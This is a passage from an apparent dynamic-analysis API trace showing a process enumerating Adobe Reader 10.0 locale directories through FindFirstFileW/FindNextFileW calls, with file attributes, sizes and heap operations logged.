hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.POL", cAlternateFileName="")) returned 1 [0221.920] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.POL", cAlternateFileName="")) returned 1 [0221.920] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0221.920] GetProcessHeap () returned 0x550000 [0221.920] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0221.920] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0221.920] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.920] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0221.920] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0221.920] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0221.920] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0221.921] GetProcessHeap () returned 0x550000 [0221.921] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0221.921] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.POL", cAlternateFileName="")) returned 1 [0221.921] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.POL", cAlternateFileName="")) returned 1 [0221.921] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.POL", cAlternateFileName="")) returned 1 [0221.922] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.POL", cAlternateFileName="")) returned 0 [0221.922] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0221.922] GetProcessHeap () returned 0x550000 [0221.922] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0221.922] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0221.922] GetProcessHeap () returned 0x550000 [0221.922] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0221.922] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0221.933] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.933] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.PTB", cAlternateFileName="ACCESS~1.PTB")) returned 1 [0221.933] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.PTB", cAlternateFileName="")) returned 1 [0221.933] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.PTB", cAlternateFileName="ADOBEC~1.PTB")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.PTB", cAlternateFileName="")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.PTB", cAlternateFileName="BRDLAN~1.PTB")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.PTB", cAlternateFileName="")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.PTB", cAlternateFileName="")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.PTB", cAlternateFileName="")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.PTB", cAlternateFileName="")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.PTB", cAlternateFileName="")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.PTB", cAlternateFileName="")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.PTB", cAlternateFileName="MAKEAC~1.PTB")) returned 1 [0221.934] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.PTB", cAlternateFileName="MULTIM~1.PTB")) returned 1 [0221.935] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.PTB", cAlternateFileName="")) returned 1 [0221.935] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.PTB", cAlternateFileName="")) returned 1 [0221.935] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x150600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.PTB", cAlternateFileName="")) returned 1 [0221.935] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.PTB", cAlternateFileName="READOU~1.PTB")) returned 1 [0221.935] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.PTB", cAlternateFileName="")) returned 1 [0221.935] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.PTB", cAlternateFileName="SAVEAS~1.PTB")) returned 1 [0221.935] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.PTB", cAlternateFileName="")) returned 1 [0221.935] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.PTB", cAlternateFileName="")) returned 1 [0221.935] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0221.935] GetProcessHeap () returned 0x550000 [0221.935] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0221.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0221.953] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.953] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0221.953] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0221.953] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0221.953] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0221.953] GetProcessHeap () returned 0x550000 [0221.954] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0221.954] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.PTB", cAlternateFileName="")) returned 1 [0221.954] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.PTB", cAlternateFileName="")) returned 1 [0221.954] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.PTB", cAlternateFileName="")) returned 1 [0221.954] FindNextFileW (in: hFindFile=0x639808, 